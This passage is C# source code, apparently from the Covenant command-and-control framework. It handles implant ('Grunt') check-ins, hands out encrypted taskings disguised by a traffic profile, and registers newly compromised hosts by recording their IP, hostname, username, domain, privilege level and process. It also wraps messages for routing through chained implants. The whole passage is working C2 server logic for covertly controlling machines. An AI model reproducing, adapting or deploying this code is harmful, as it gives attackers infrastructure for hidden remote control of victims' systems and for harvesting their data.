public ActionResult <string> Get()
        {
            this.SetHeaders();
            string cookie = this.GetCookie();

            try
            {
                API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie);
                if (gruntModel == null || gruntModel.Status != GruntStatus.Active)
                {
                    // Invalid CookieAuthKey. May not be legitimate Grunt request, respond Ok
                    return(Ok());
                }
                gruntModel.LastCheckIn = DateTime.UtcNow;
                this.CovenantClient.ApiGruntsPut(gruntModel);
                GruntTasking gruntTasking = this.CovenantClient.ApiGruntsByIdTaskingsSearchUninitializedGet(gruntModel.Id ?? default)
                                            .FirstOrDefault();
                if (gruntTasking == null)
                {
                    // No GruntTasking assigned. Respond with empty template,
                    return(Ok(this.GetGetEmptyResponse()));
                }
                if (gruntTasking.Type == GruntTaskingType.Assembly)
                {
                    GruntTask task = this.CovenantClient.ApiGrunttasksByIdGet(gruntTasking.TaskId ?? default);
                    if (task == null)
                    {
                        // Can't find corresponding task. Should never reach this point. Will just respond NotFound.
                        return(NotFound());
                    }
                }
                gruntTasking.Status = GruntTaskingStatus.Tasked;
                this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(gruntTasking.GruntId ?? default, gruntTasking.Id ?? default, gruntTasking);

                API.Models.Grunt targetGruntModel           = this.CovenantClient.ApiGruntsByIdGet(gruntTasking.GruntId ?? default);
                Models.Grunts.GruntEncryptedMessage message = null;
                try
                {
                    message = this.CreateMessageForGrunt(gruntModel, targetGruntModel, gruntTasking.GruntTaskingMessage);
                }
                catch (HttpOperationException)
                {
                    // Change to new Status: Aborted?
                    gruntTasking.Status = GruntTaskingStatus.Completed;
                    this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(gruntTasking.GruntId ?? default, gruntTasking.Id ?? default, gruntTasking);
                    return(NotFound());
                }
                // Transform response
                string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
                // Format transformed response
                string response = String.Format(this.Profile.HttpPostResponse, transformed);
                return(Ok(response));
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }
        }
        private ActionResult RegisterGrunt(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntMessage)
        {
            if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage2 || !gruntMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (egressGrunt == null)
            {
                egressGrunt = targetGrunt;
            }
            Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt);
            string message = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(gruntMessage));

            // todo: try/catch on deserialize?
            Covenant.Models.Grunts.Grunt grunt = JsonConvert.DeserializeObject <Covenant.Models.Grunts.Grunt>(message);

            targetGrunt.IpAddress       = grunt.IPAddress;
            targetGrunt.Hostname        = grunt.Hostname;
            targetGrunt.OperatingSystem = grunt.OperatingSystem;
            targetGrunt.UserDomainName  = grunt.UserDomainName;
            targetGrunt.UserName        = grunt.UserName;
            targetGrunt.Status          = GruntStatus.Active;
            targetGrunt.Integrity       = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), grunt.Integrity.ToString());
            targetGrunt.Process         = grunt.Process;
            realGrunt.LastCheckIn       = DateTime.UtcNow;

            CovenantClient.ApiGruntsPut(targetGrunt);

            GruntTaskingMessage tasking = new GruntTaskingMessage
            {
                Message = targetGrunt.CookieAuthKey,
                Name    = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10),
                Type    = GruntTaskingType.Jobs,
                Token   = false
            };

            Models.Grunts.GruntEncryptedMessage responseMessage = null;
            try
            {
                responseMessage = this.CreateMessageForGrunt(egressGrunt, targetGrunt, tasking);
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }

            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage)));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            return(Ok(response));
        }
        private Models.Grunts.GruntEncryptedMessage CreateMessageForGrunt(API.Models.Grunt grunt, API.Models.Grunt targetGrunt, byte[] message)
        {
            List <string> path = this.CovenantClient.ApiGruntsByIdPathByTidGet(grunt.Id ?? default, targetGrunt.Id ?? default).ToList();

            path.Reverse();
            Models.Grunts.GruntEncryptedMessage finalMessage = null;
            Models.Grunts.GruntEncryptedMessage.GruntEncryptedMessageType messageType = Models.Grunts.GruntEncryptedMessage.GruntEncryptedMessageType.Tasking;
            foreach (string guid in path)
            {
                API.Models.Grunt thisGrunt = this.CovenantClient.ApiGruntsGuidByGuidGet(guid);
                finalMessage = Covenant.Models.Grunts.GruntEncryptedMessage.Create(
                    Covenant.Models.Grunts.Grunt.Create(thisGrunt),
                    message,
                    messageType
                    );
                message     = Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(finalMessage));
                messageType = Models.Grunts.GruntEncryptedMessage.GruntEncryptedMessageType.Routing;
            }
            return(finalMessage);
        }